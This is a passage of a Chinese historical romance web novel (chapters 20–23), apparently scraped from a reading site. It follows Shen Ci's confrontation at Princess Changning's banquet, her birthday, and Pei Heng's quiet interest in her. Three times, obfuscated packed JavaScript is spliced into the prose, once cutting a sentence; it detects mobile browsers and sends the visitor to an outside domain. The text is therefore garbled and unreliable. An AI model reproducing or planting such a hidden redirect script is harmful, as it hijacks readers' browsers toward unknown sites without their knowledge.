“好。”沈瓷干脆的答应下来,不仅仅是裴姝喜欢她,她也很喜欢裴姝,若对方愿意来给她过生辰,沈瓷觉得她会很高兴。 因着沈瓷的生辰尚未到,她们便没有说的太细,而是提及长宁郡主府上的宴会。 楚映梦和沈瓷说起长宁郡主的喜好和禁忌,倒不是要刻意讨好贵人,只是要避免麻烦。 沈瓷认真的听着,楚思怡却说起了一些让人哭笑不得的事,“其实郡主娘娘没有别的爱好,就喜欢当红娘,这一回哥哥们和姐姐,只怕是一个都跑不掉。” 楚思怡摇头晃脑的开口,模样说不出的可爱。 楚修筠从前听到这些还会愁眉苦脸,可是今日却一点儿也不愁,“这一回郡主娘娘可顾不得我们,表哥这一次也会去,还有今科探花,他们一块儿。” “郡主娘娘的注意力,估摸着全部都会到他们的身上。” 楚修筠信誓旦旦,但事情也正如他预料的那般。 到了赴宴那一日,长宁郡主果真顾不得他们,所有的注意力都在裴珩的身上,也因为有裴珩在的缘故,旁人都轻松许多。 “我从前就常常在想,表哥到底会喜欢什么样的女孩子。”楚映梦和楚思怡两个单手托腮,眼睁睁的看着不少姑娘去裴珩面前献殷勤。 只是很快她们全部都铩羽而归,无一例外。 故而姐妹俩坐在一处开始思索起来。 “ 大哥,虽然你和表哥同龄,但为何看起来你和表哥差那么多?”楚映梦看了眼不远处的表哥,又看了眼近在咫尺的大哥,忍不住的心生感慨。 楚修筠心中被插了一刀,这些话他一向是不愿意回应的,但今日实在有些忍不住,“谁站在表哥的身边,都和他差很多…” “别说我了,景澄还是表哥的亲表弟,不也差的很多?” 楚思怡和楚映梦一听,也觉得很有道理,用力的点了点头。 “这好端端的还能有我什么事?那裴姝呢?裴姝还是亲妹妹呢。” “表哥,我是女孩子,不一样的。” 几人在一处插科打诨,倒也觉得挺有趣,只是好景不长,楚景澄一转头就瞧见了不想见的人,他扯了扯大哥的衣袖,“哥,是林书易。” 楚修筠下意识的看了沈瓷一眼,其余三人也是一样的反应。 “他怎么过来了?真是晦气。”楚映梦毫不掩饰自己的厌恶,楚思怡更是多看一眼就嫌眼睛疼。 成安伯府和忠毅伯府的梁子,那是早在三年前就结下的,成安伯府背信弃义,退了沈瓷的婚约之后,没过多久就和兵部尚书李大人家的三姑娘定了婚约,那姑娘和沈瓷的年纪差不多大。 今年及笄。 听说两家已经开始交换庚帖,在商议婚期。 “他在这里,那李三姑娘是不是也在?”裴姝轻声的问了一句。 “不知道。”楚思怡没好气的说道,“早知道今日会碰见这么个晦气玩意,还不如不来。” 其余几人深有同感的点了点头,只不过他们虽有矛盾,但今日是在长宁郡主府上不好随意和人起冲突。 楚映梦和楚修筠便商议避开。 说话间就拉着沈瓷往花园走去,可今日当真是流年不利,她们避开了林书易,却没有躲过李三姑娘。 几人还是迎面撞上的。 金陵城本也就没什么秘密。 有些事情只要稍稍一打听就知晓,忠毅伯府和成安伯府有梁子,和兵部尚书府向来井水不犯河水,只是楚家的几个小辈素来都是恨屋及乌,兵部尚书和成安伯结亲,他们自然是一块儿恨上。 这会子撞上,楚映梦和楚思怡对她自然没有什么好脸色。 路过的大姑娘和小媳妇一个个都停下了脚步,忍不住一探究竟。 眼中的好奇都快要溢出来了,但楚映梦可没想给她们八卦的机会,虽是不悦,却没想过要和李三姑娘当面的起冲突,想着绕开,只是李三姑娘偏偏不乐意。 她们往左边,她也往左,一直拦着她们的去路,仿佛是有意为之 几次三番之后,楚思怡不耐烦起来,“你想做什么?” 李三姑娘站定后,直勾勾的看了过来,不知想要搜寻什么。 她一直都知道未婚夫原来是有一个未婚妻的,也知道那未婚妻的身份,她的婚约是家中定下的,父母都说对方是良配,李三姑娘自己也是那么以为。 可架不住总有人捕风捉影,说成安伯府背信弃义,说她抢别人的未婚夫,她虽从未当面听见过这些,但这些话无处不在,渐渐的李三姑娘变得疑神疑鬼总觉得有不少人在她的背后指指点点。 可婚姻大事不是父母之命媒妁之言? 分明就是两府的长辈定下的,为何这一切无形的压力还要她来承担? “你看什么?”楚映梦上前一步挡在了李三姑娘的面前,语气不善的问道。 “你表妹呢?” 李三姑娘冷声的问道。 沈瓷和裴姝就站在姐妹俩的身后,只是裴姝很少参加宴会,认识她的人并不多,李三姑娘恰好就是那个不认识的。 但裴姝尚未及笄,她们俩站在一处很好分辨,至少眼睛没有问题的都可以分的出来。 可李三姑娘非要明知故问,楚映梦皱起眉头,“你找我表妹做什么?” “有不少人说是我抢了她的未婚夫,我想当面问问沈姑娘,她是不是也这么以为。”李三姑娘一脸的气愤,她虽是问话,可眼神却直勾勾的盯着沈瓷。 显然也已经认出了人。 她的声音很大,引起了许多人的注意。 沈瓷实在是有些无奈,明明她一点儿也不想惹人注目,偏偏这些事总是找上来,她没由来的想起思怡方才说的话。 果真今日没有看黄历。 早知会遇上这些事,她还不如就在府上喂鱼。 “沈姑娘,你也是这么以为的吗?”李三姑娘盯着沈瓷问道。 一时间所有人的目光都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769870|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚集到沈瓷的身上,仿佛在等她开口,李三姑娘很勇敢,众目睽睽之下,只要沈瓷说一句,就可以澄清许多的事,只要她站出来说一句。 说她和成安伯次子退婚是自愿的,不与人相干。 只是这样的事情,沈瓷已经做过一回。 她初来金陵的那年腊月,失去父母被退婚的那一年,那曾经是她未婚夫的人家,甚至连过了除夕都等不及,就要来请她去赏梅。 好昭告所有人,他们是和平退亲的。 她已经善解人意过一回。 那桩婚事也退的干干净净和她毫无瓜葛,她为何要要再善解人意? 沈瓷并未理会面前的人,只是走到楚映梦的身边,“表姐,我想去那边看锦鲤。” 楚映梦气恼的不得了,听见沈瓷的话才算是回过神来,立刻一口答应,“行,我们去看锦鲤。” 沈瓷不想搭理李三姑娘,但对方却不依不饶,非要沈瓷给她一个解释,急切道:“沈姑娘,你还没回答我的话。” 咄咄逼人的气势让人十分反感。 几人都忍不住的要上前和她理论,眼看就要吵起来的时候,沈瓷却拦住了众人… * 这儿的闹剧也传到了前头,更传到了裴珩的耳朵里,他原本是在和同僚一块谈论公事,听到这些后便没了心思,他揉了揉额头,安耐住心中那莫名其妙的情绪。 和同僚说明了缘由,“家中的弟弟妹妹和旁人起了冲突,还请邱兄见谅。” “不若一起去瞧一瞧?若是有什么事也好有人帮衬。” 裴珩随意的点了头,大步的朝那边过去,脚步比之以往着急了许多。 众人循声而去。 但最先出现的却是林书易,他听闻未婚妻去找了他的前任未婚妻,着实一个头有两个大。 无奈的和身边友人抱怨道,“你瞧瞧这都是什么事?” 身边的友人同样听过不少的传言,只是碍于和林书易的关系不好轻易问出来,今日遇上这千载难逢的机会,实在是忍不住,“林兄,你和沈姑娘退亲,难不成真的是移情别恋?” 林书易顿时无言,他已是头疼不已,偏偏还有人要火上浇油,可这些也不是不能说的事,“什么移情别恋,我和沈姑娘压根就没见过几回!” “婚约是双方父母定下的,前平江节度使沈毅当年是陛下面前的重臣,若非出现意外,他的位置绝不止于此。” 平江是什么地方?这平江节度使是谁都能当的? 当初定下婚约,成安伯府看重的也是这些。 可谁让偏偏出现了意外? “她是沈毅唯一的女儿,自幼千娇百宠的长大,脾气极坏…”林书易也唯有在好友面前才能说上几句,实则他说这些并非是空穴来风。 林书易还记得有一回他出门办事,回金陵的时候,他听从父母的话特意绕道平江,去节度使府上拜访,恰巧撞见沈瓷在府上发脾气… 林书易对沈瓷并没有什么好印象,只是碍于父母的心思不好反抗。 后来,沈家出了事,父母要去退婚,他的心里其实是高兴的。 二人一边说着话一边往前走,尚未走近,林书易却看见了一个从未见过的美人,一时间他呆愣当场,久久说不出话来。 他们的位置只能看见沈瓷的侧脸,她站在绚烂的阳光之中,微风轻轻的吹起她的发丝,落在她的脸庞上。 那一瞬,林书易仿佛什么都看不到,什么都听不到了。 只能看的见眼前的人… 沈瓷漫不经心的将头发拂到而后,浅浅的笑了起来,“你问了,我就一定要回答?” “天底下哪里有这样的道理?” 21.第21章 长宁郡主的府邸很大,一众人齐聚于此,在众目睽睽之下,沈瓷毫无怯懦,坦坦荡荡的看着李三姑娘。 表达了自己的意思。 李三姑娘大大的眼睛里满是不可置信,她做好了最坏的打算,楚思怡和楚映梦会对自己破口大骂,他们会和自己起冲突,也许会争吵,也许会打起来… 她设想过许多的场景,但她从未想过,竟换来了沈瓷这么轻飘飘的两句话。 “我…我…”李三姑娘憋红了眼睛,她的目光开始躲闪,甚至都没有再盯着沈瓷看,在众目睽睽之下忍不住的颤抖起来,积攒的勇气消耗殆尽,她甚至都快要站不住,也不知道究竟是什么支撑着她还站在此处。 “当日退婚便已经说的明白,男婚女嫁各不相干,李三姑娘何必要来问我?”沈瓷不答反问,什么抢不抢未婚夫的。她何必要去同李三姑娘掰扯这些? 让自己陷入麻烦当中? “可是我…” “三姑娘既是堂堂正正的和林公子定的亲,何必在乎旁人说什么?”沈瓷是真的很疑惑,她想不明白李三姑娘到底是怎么个心思。 她不去找在背后窃窃私语的人,也不去找林书易,让他将事情原原本本的说明白。 偏偏来找自己这个退了婚的前未婚妻。 这是什么道理? 难道是觉得自己好欺负吗? “但是,但是…”李三姑娘没有想到事情会变成这样,和她想的完全不一样,她心中隐隐觉得沈瓷说的没有问题,但又不愿意就这么轻易的妥协。 她本意很简单,只不过是想沈瓷告诉所有人,她没有抢别人的未婚夫,但沈瓷为何就不愿成全? 李三姑娘的心中多了一些埋怨。 她并没能很好的掩饰自己的情绪,沈瓷看的清清楚楚,只当没有看见。 说完这些后又告诉表姐想去看锦鲤,楚映梦立刻答应,“行,我们去看锦鲤。” 剑拔弩张的气氛骤然消散,李三姑娘原本来势汹汹,这会儿却哑口无言,只是呆呆的站着,傻愣愣的看向沈瓷。 在场的人尚未散去,三三两两的开始窃窃私语。 李三姑娘觉得所有人都在看自己,所有人都在对自己议论纷纷… 就在沈瓷快要离开的时候,林书易不知从何处冒了出来,开口就是道歉,“沈姑娘,未婚妻多有冒犯,还望见谅。” 林书易抬起头,目光炯炯的盯着沈瓷,眼神中满是惊艳。 沈瓷淡淡的皱起眉头。 不知这人是闹的哪一出。 楚景澄想要上前,却被裴珩拦下,楚景澄惊讶的看过去,“表哥?” 他心中疑惑表哥为什么会在这里,但裴珩却连眼神都没有给他一个,“你若是出去理论,这事儿可就要没完没了。” 楚景澄并非莽夫,稍稍想一想就将表哥的话听了进去,盯着林书易暗暗的磨牙。 沈瓷没说什么,随意的点了头,示意自己已经清楚,转身离开,林书易却还想要再说什么,但李三姑娘已经掩面离开。 林书易回头看了一眼,只能依依不舍的离开了。 他的眼神太过于明显,裴珩站在一旁看了个正着,皱起了眉,林书易的异常举动,同样的也落入了楚家兄弟的眼中,兄弟俩心中泛起嘀咕,“这林书易在看什么?” “谁知道他发的什么疯。” 两人没多谈论,只是走到沈瓷的面前,关切的问她可还好。 沈瓷轻轻的点头,“我没什么事。” 她不过是不想被那么多人看着,才会迫切的想要离开。 “阿瓷你不是说想去看锦鲤,我们现在去吧。”楚映梦记挂着锦鲤,沈瓷原本只是拿锦鲤当借口,这会儿是真的想去看一看。 楚修筠和楚景澄也担心表妹,说要一块儿去。 裴珩一人站在一旁,并没有人邀请他共同前往,还是裴姝看见了亲哥,问了一句要不要一块儿去看锦鲤。 裴姝原本也不抱希望,但裴珩却答应下来,他望着妹妹的眼神多了几分慈爱,心中感慨省了不少的麻烦。 原本还要找个借口才能过去。 于是,一行人里头多了一个裴珩。 沈瓷见了裴珩,依旧是态度坦然的称呼他为裴世子,裴珩倒也不在意,“沈姑娘。” 二人的语气都有一些疏离。 楚映梦等人听得多了,倒也不觉得尴尬,谁让他们俩都觉得这样挺好。 花园的凉亭里没有人在,他们过去之后占据了整个亭子,楚思怡靠在栏杆上看着池子里的锦鲤,忘了半天感慨的说了一句,“好大的一条鱼。” 楚映梦都觉得没眼看,“你看到这些锦鲤,就没能想到些别的?” 当姐姐的循循善诱,就差没问楚映梦还能不能想到别的形容。 “唔?”楚思怡不太明白姐姐说的这话是什么意思,但姐姐既然这么说了,她就真的想了想,“这鱼,能不能吃?” 楚映梦忍不住的摁住了自己的额头,她不太想去回答这些。 众人听到这话都忍不住笑了起来。 裴珩只是问裴姝方才发生了什么事。 李三姑娘跑来挑衅这件事根本就瞒不住,已经有许多人都知晓,但裴姝决定去问沈瓷能不能告诉兄长。 而沈瓷听了裴姝的话,决定亲自来解释,“多谢裴世子关心,其实没有什么大事,只是李三姑娘没有想明白。” “为何是她没有想明白?”裴珩有些好奇的问道。 “金陵的传言不与我想干,她若心有不悦应当找传播流言之人,再不济一些她应当去找林书易,而不是来寻我的麻烦。”沈瓷很少同人解释什么,此番也是因为裴珩是表姐的表哥,隔着一层亲戚关系,她才如此。 裴珩的眼中满是欣赏之意,浅浅的点头,“的确。” “裴世子怎么过来了?”沈瓷不想谈论这些事,便找了个借口将话题引开,“方才表哥们说,你和同僚在一起商议大事。” 沈瓷说的话有一些水分,她只知道今日和裴珩一同来的人是新科探花,商议大事没有瞧见,她只是瞧见不少的姑娘前仆后继的过去找人。 但这话如何能拿来当借口? “方才听到你们在后头起了冲突,所以过来看看。”裴珩轻声开口,真正的原因也只有他自己才知道。 他担心沈瓷。 可这心思很是古怪,他不愿让旁人知晓,便下意识给自己找补,“思怡和景澄都冲动,今日长宁郡主设宴,还是莫要惹麻烦才好。” 沈瓷深以为然的点头,而后认真道:“世子放心,我不会让二表哥和表妹同人起冲突的。” 裴珩:“…我不是这个意思。” 沈瓷有些疑惑的看向他,像是有些弄不明白裴珩为何会突然反口,这些话不是他自己说的吗? 那双漂亮的眼睛里干净透明,一眼就能看到底。 裴珩忽然什么都说不出来,只能昧着良心认下,“…他们不和人起冲突,我也就放心了。” 沈瓷浅浅的笑了起来,那笑容也感染了裴珩,让他忍不住的勾了勾唇。 “前些日子的游记可收到了?” 那书是楚修筠亲自带回去的,也同她们几人说过是什么来路,沈瓷收的毫无心理负担,认真的点了头。 “看了一些,只是不知道这些地方到底在何处。” 裴珩便问起沈瓷看了哪一本游记,同她详细的讲解起里头的风土人情来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775477|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈瓷听得也很认真,心中也愈发的笃定,裴世子就是想当夫子… 而她的心中也对裴珩愈发的尊敬起来,裴珩见她当真是喜欢,讲的愈发认真,也开始思索着日后要给她再寻一些新的来。 裴姝看了看哥哥,又看了看沈姐姐,心中若有所思。 只是她没有打扰,反而找来郡主府的下人,问有没有鱼食,她们想要喂一喂鱼。 * 长宁郡主府上发生的事情,沈瓷以为只是一件小事,可她不清楚林书易回到府上之后就开始茶饭不思。 甚至对待定亲宴也变得敷衍起来。 林夫人交代了几句,谁知林书易骤然暴躁起来,“你们决定就好,不必来问我。” 林夫人疑惑不已,将跟着林书易的小厮找到跟前来要问个清楚。 小厮吓得瑟瑟发抖,自然是知无不言言无不尽,再得知林书易在长宁郡主府上见着前未婚妻之后,她的心中大致有了猜测。 年少慕艾是常事,何况沈瓷她是见过的,那时候她还年幼,依稀可见日后姿态,如今… 她摇了摇头,没有去理会。 长得漂亮又能如何? 如今还不是个寄人篱下的孤女? 林夫人压根就没有去搭理林书易,林书易满腔的怒火无处发泄,他发现自己很难受,他从不知道沈瓷如今和从前全然不一样。 今日在长宁郡主府,沈瓷的种种表现都出乎他的意料之外。 林书易心中很不得劲,但他却不知道自己为什么不舒坦。 只是他的心中,总时不时的想起沈瓷,想起那日她淡定从容的态度,和自己的未婚妻相比较起来,完全就是天差地别。 这样的心思在林书易的心中生根发芽,他开始茶饭不思。 在课堂上频频的走神。 面对楚修筠和楚景澄的挑衅,也没有了从前的激烈。 惹得兄弟俩都觉得有劲无处使。 但林书易知道自己不是疯了,他是后悔了,若早知沈瓷是如今这般模样,他说什么都不会同意退婚的。 这后悔的情绪一直都在林书易的心中蔓延。 直到被自己的兄长察觉。 林书弘得知这事之后,冷笑连连的警告他,“你们俩已经退亲,莫要想这些有的没的。” 林书易心中明白,但是他就是接受不了。 一门心思想着若是当初没有退亲该多好,但林书弘却毫不犹豫的打破他的幻想。 “不管你是接受还是不接受,这已经是事实,你若是还要脸面,就不要将这些事情表露在外头,丢了成安伯府和尚书府的脸面。”林书弘冷漠的看向他,直接表明了自己的态度,“若是让我知晓你做出什么丢脸的事,你日后的日子可不会过得那么舒坦。” 林书弘讲这些事说的很严重,但他实在是低估那个蠢货弟弟的脑子。 这件事还是被人给发现了,只是不幸中的万幸,察觉这件事情的人,是裴珩。 他原本就因为两个表弟的缘故差人盯着林书易,本意不过是看着两个表弟,不让他们将人欺负的太狠。 却没曾想有了意外发现。 裴珩轻嗤一声,只觉得林书易痴心妄想,“此事不能宣扬出去,于沈姑娘名声有碍。” 长鸣飞快的应下,他看着裴珩的脸色,心中忍不住的泛起嘀咕,总觉着世子要插手这件事。 但长鸣没想到他才刚有这个年头,裴珩便已经有所决断。 “即是有情人,应当早些成亲才是。”裴珩缓缓的放下手中的笔淡淡道,“裴姝前些日子还说,想去参加婚宴。” 长鸣:“……” 他敢发誓,大姑娘绝对没这么说过。 22.第22章 四月初,成安伯府次子和尚书府李三姑娘的亲事定下来了,婚期定在九月,林书易嫌弃太早,但他没有什么权利反抗。 只能听之任之,过后却在书房里无能狂怒。 林书弘原本是想来安慰他,谁知在门外就听见他在里头砸东西,所有的安慰都化作泡影,冷声的吩咐身边的侍卫,“去书院给二公子告假,成亲之后再去书院。 ” “是。”侍卫应声而去。 林书易在屋子里头听得清清楚楚,自然是不能接受的,“大哥,你怎么能这么对我?你为什么要关着我?” 林书弘根本懒得理会林书易的挣扎,只是告诉他想要什么都好说,但出去这件事就不用想了,“和尚书府的婚约由不得你任性。” 林书易挣扎无果,颓废的坐在地上,脑海中浮现出当日的种种,他没有想过未婚妻会突然去找沈瓷,他也没有想过,沈瓷和记忆中的那个人一点儿也不一样。 他知道自己的行为是不对的,也知道自己的想法很有问题,可林书易就是没办法克制。 后悔的情绪在他的心中蔓延,他忍不住的想如果当时没有退婚,是不是一切都会变得不一样? 只可惜这世上并没有什么如果。 成安伯府和尚书府定下婚期之后,林书易就没有出现在书院,楚景澄寻不到人麻烦,心中多少有些不得劲。 消息传回忠毅伯府,楚思怡在家中骂了对方整整一日,虽说她知道表姐看不上林书易,可一点儿也不影响楚思怡讨厌人。 楚景澄闲的无聊,就和妹妹一块儿骂,最后就连楚修筠和楚映梦都搀和进来。 几人坐在一处骂骂咧咧的。 只是骂着骂着就谈论起这个婚期来,“成安伯府的婚期怎么定的那么着急?这没有几个月了呢。” “不知道。”楚景澄飞快的接话,“林书易都已经向书院告了假,许久不出现。” “难道是成安伯府出了什么事?”楚映梦忍不住的猜测道。 但谁也不知事实如何,几人想了想还是决定不去理会。 “管林书易做什么?有这功夫不如想一想要给表姐送什么生辰礼。”楚思怡掰着手指头开始计算起来。 楚修筠和楚景澄其实也不清楚,毕竟这些年能送的都已经差不多,每年都送一样的东西,也挺没有新意的。 于是这一回,他们买的是镯子。 “掌柜的说是从云滇那边过来的缅玉,成色极好。” 只不过缅玉金贵,他们俩没有那么多的银子,就兄弟俩一块儿买了,楚映梦和楚思怡都很好奇,非要看一看。 楚景澄就将那镯子拿了出来。 镯子整体是青色的,晶莹剔透,光彩夺目。 “的确好看。”楚思怡眼睛都亮了起来,“大哥二哥,我过生辰的时候也要这个。” “成。”楚修筠一口答应下来,妹妹有喜欢的东西就好,总比他们每一次都要想破脑袋来的强。 楚映梦也说要一个。 自己的妹妹只能自己宠着,兄弟俩咬咬牙又答应下来,“行!” 大不了就是少出门几回,少花一些银子,几个镯子还是能买得起。 姐妹俩满意极了,纷纷拿出自己给沈瓷准备的礼物显摆起来,每一样都非常的新奇。 兄弟俩虽然不太懂,但并不妨碍他们觉得好看。 几人冷静下来之后便说起生辰要怎么过,“阿瓷虽说和往年一样,不想惹人注目,但她今年及笄,头一个生辰也不能过得太寒酸。” “不如请个戏班子来,表姐喜欢看书,应该也会喜欢看戏?”楚思怡认真的提议道。 “这倒是个好主意,我们不请别人来,不过是自己热闹热闹。” 姐妹俩都觉得这是个好主意,于是几人就去找了裴氏,让母亲拿主意。 裴氏还当是什么大事。 “不过是请个戏班子进府,用得着你们一群人过来吗?”裴氏嗔怪着开口,“不过怎么就你们几个,阿瓷呢?” “表姐去祖母院子里了,说是给祖母做了条抹额,让试一试合不合适。”楚思怡欢快的回答道。 裴氏轻轻的点头,爽快的给了牌子,让他们去找管事请戏班子去。 几人兴奋的不得了,拿着对牌就迫不及待的离开,裴氏看着她们的背影忍不住的笑了起来。 张嬷嬷端着燕窝走进来时,堂屋里已经没人在这儿,“夫人,厨房送来的燕窝。” 裴氏缓缓的点头,将手中的册子放在了一旁,她打开盖子,瞧了眼里头的燕窝,“这燕窝是何处采买的?瞧着成色不错。” “是永宁侯府送来的,奴婢先前收拾库房的时候瞧见成色不错,就取了几盏,送了一半去老夫人的屋里。” 张嬷嬷做事一向仔细,裴氏并不担心,她尝了一口,忍不住的夸赞了几句,“这燕窝倒是真不错,改日问问嫂嫂府上的管事是何处采买的。” “家里的几个姑娘们也大了,燕窝温和,最是滋补。” 张嬷嬷笑着应下这事,主仆俩又谈论起楚映梦的亲事,裴氏倒也不着急,“有些眉目,但也要问过映梦的意思。” “夫人今日不曾和二姑娘提及?” “他们几个这会儿只想着给阿瓷过生辰,哪里还会记得这些事?”裴氏也不想打扰他们的快乐。 想着等他们折腾完这些事情之后再谈。 张嬷嬷心中了然,出声附和道,“夫人选的人家自然是极好的,若能结为儿女亲家,二姑娘一定会幸福美满。” 裴氏想到这儿眼神变得哀怨起来,她倒也是想为女儿选全金陵最好的少年郎,无奈女儿一点也不领情,只恨不得躲得越远越好。 “除了映梦,大郎的婚事也得上心些。” “夫人先前不是说大理寺卿府上的嫡姑娘温婉贤淑?” “大郎的婚事,也不知大哥和大嫂心中有没有打算。”裴氏有一些烦闷,这些年孩子一直都长在自己的跟前,在裴氏的眼里,这和自己的亲生子没有什么区别。 但到底是不一样的。 她不过是楚修筠的婶娘,婚姻大事还是要大哥和大嫂做主的。 裴氏不愿孩子耽误,但又担心自己说的多了,惹得大哥大嫂误会。 “好在大郎不过弱冠之龄,也不急。”裴氏想着先和婆母商议,然后再由婆母出面给大哥大嫂传达意思,应当能够圆满。 其实家中的家中的几个孩子从小就长在她的跟前,什么性子,将来要婚配怎样的人家,裴氏早已经有成算,最让她担心的还是沈瓷。 “也不知嫂嫂哪儿,有没有什么好消息。” * 沈瓷完全不知道舅母为了自己的婚事愁白了头发,她从外祖母的院子里出来后,就回了翠虹阁写请柬。 她的生辰快要到了,沈瓷答应过裴姝,要请她过府一起庆祝。 离开平江之后,这还是沈瓷头一回正正经经的写请柬,故而她写的十分仔细,生怕有什么地方给弄错,写完之后还仔仔细细的检查了三次。 请柬送到永宁侯府时,恰好被下朝回府的裴珩撞见,管家立刻退到一旁行礼。 而裴珩所有的注意力都在那请柬上头,“哪里送来的?” “回世子的话,是忠毅伯府送来给大姑娘的。”管家恭敬回答,裴珩微微颔首,带着长鸣走了。 裴姝收到沈瓷的请柬,还没来得及高兴,就被哥哥差人给喊了过去。 她满心疑惑的跟着丫鬟过去,心说这也没有到要查验功课的时候,怎么忽然就找她。 结果到了才知道,哥哥是特意来问请柬的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779972|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴姝知晓缘由后,那是一点儿都不紧张了,“是沈姐姐送来的,沈姐姐要过生辰,请我过府呢。” 裴珩的手一顿,墨汁顺着笔尖滑落,在白色的宣纸上晕染开来。 他皱起眉头盯着那团墨痕,心中有些烦闷,好似那一点墨痕不像是落在纸上,反而像是落在他的心上,“是吗?” 语气听起来有一些不善,只是裴姝尚未察觉。 其实不用特意的将裴姝找来,裴珩大致也能猜测的到,毕竟前不久他才给沈瓷选了生辰礼,虽然她并不知那些游记是什么。 “是呀。” 裴姝笑着说道,浑然不顾亲哥的死活,满脸憧憬的说道,“也不知道那日热闹不热闹。” 裴珩:“……” 他忽然有一些不太想听下去,也见不得裴姝那么快活,“回去念书,即便是去姑姑府上,也不能怠慢了功课。” 若是平日裴姝听见这话指不定要不高兴,但这会儿裴姝开心的不得了,根本不想和哥哥计较。 欢欢喜喜的走了,隔得老远裴珩都还能听见她轻快的脚步声。 这都是什么事? 他面无表情的揉掉了第二张纸,脸色变得奇差无比,紧接着还有第三张,第四张…长鸣看在眼里,下意识的想躲… * 沈瓷的生辰宴办的并不隆重,只是同兄弟姐妹们一块儿聚了聚,但是今年多了一个好友。 裴姝今日来的很早,几乎是能出门的时辰就来了,沈瓷她们也才刚刚用完早膳,虽然不久前才见过,但她们几个凑在一块儿就有说不完的话。 楚思怡瞧见裴姝过来更是高兴。 “今天还有戏班子会过来,裴姝你之前不是说要听戏吗?我们这会儿去点戏。”楚思怡说话间就拉着裴姝要走。 裴姝看了眼沈瓷和楚映梦,下意识道,“表姐和沈姐姐他们还没过来。” “她们俩走路慢吞吞的,我们先去,我们先点,到时候也是我们先听。”楚思怡今儿个非要拉上一个人和自己作陪。 全然不顾裴姝说自己走路也慢的这些话。 戏好歹是点上了,但裴姝也喘的厉害,冲着楚思怡摆了摆手,说自己实在是跑不动,“好端端的,这是做什么啊?” “当然是听戏。” 裴姝自幼循规蹈矩的,这还是头一回被楚思怡气的差点儿翻白眼,若非这动作实在是不雅,裴姝都要忍不住,“你离我远些,远些…” 长寿面是沈瓷亲手做的,从和面到浇头,并没有假手与他人。 众人原本还担心长寿面的味道不好,都约定好若是不好吃也不能说。谁知面端上来后,味道出乎意料。 一个个吃的心满意足。 裴姝一个不怎么爱吃面食的,都将这面全部给吃完了。 渡过了这愉快的一天,裴姝心满意足的回家,好巧不巧的在角门处就遇上了哥哥。 裴珩瞧见裴姝之后略略顿了顿脚步,裴姝明白过来后就高高兴兴的走了过去,“哥哥。” “这么高兴?”裴珩有些意外,他甚少能看到裴姝这么情绪外露的时候,看来她真的很喜欢那沈姑娘。 “嗯,今天很热闹,我们去看了戏,还吃了长寿面。” 裴珩自是由衷希望妹妹高兴,可他的心中却有一股说不清道不明的情绪,让他不由的有些烦躁,故而说出的话也不怎么好听,“长寿面好吃吗?” 裴姝听见这话,不经意的抬眼看去,眼珠子骨碌碌的转了转,笑着说道,“好吃。” “长寿面还是沈姐姐亲手做的呢。” 她生怕哥哥不相信,又补充了一句,“特别的好吃,我把汤都喝完了。” 裴珩:“……” 他忍不住的摁住额头,不禁开始猜测,这到底是有多好吃? 23.第23章 忠毅伯府的管事送来各种香料时,沈瓷正和表姐表妹们一块儿裁布料,她的生辰过了之后便是端阳节。 端阳节很热闹,也很隆重,家家户户都会提早做过节的准备。 挂菖蒲艾草,点雄黄,赛龙舟,佩香囊,放纸鸢… 其他的事情沈瓷办不到,唯有香囊可以自己做,便喊上姐妹们一块儿准备,女红师傅教会了她们所有的技法便从忠毅伯府离开。 女红一事并不难,但若要技艺精湛,天赋和练习缺一不可。 楚思怡和楚映梦的确会,但她们不大爱做,可沈瓷不一样,学会之后,更是精益求精,日日练习,时不时的给楚老妇人做个抹额,绣个帕子。 也会给姐姐妹妹做些扇面。 沈瓷做这些的时候总是耐心,众人便只当她是喜欢。 “表姐,一共有十几份,够了没有?”楚思怡将面前这些方方正正的布数了又数,总算是数清楚了。 “嗯,应当是够的。”沈瓷算上了许多人,家中的长辈们,还有尚不曾归家的外祖父和大舅舅一家,大舅舅外放任上,大舅母跟着一同过去,如今已有十几年。 大舅舅家中还有一个女儿,是大表哥的妹妹,比表姐还大一些,只是这些年一直和大舅舅大舅母一块住在外头。 她们也没有见过。 听说大姐姐已经许了人家,只是不知道什么时候成亲。 “听母亲说,大伯父好似要调回金陵,也许是想回到金陵之后再给堂姐举行婚礼。”楚映梦和楚思怡也不清楚长辈们的打算,毕竟她们和大姐姐实在不熟悉。 何况他们也很少提及大姐姐,小的时候大家不懂事,总是会问起。 但那时候楚修筠已经知晓婶娘不是自己的母亲,小小的年纪也会渴望着父母的陪伴,谈论起这些事的时候,总是会黯然神伤。 他们稍稍长大一些后就不会在楚修筠的面前提及。 如今也是一样。 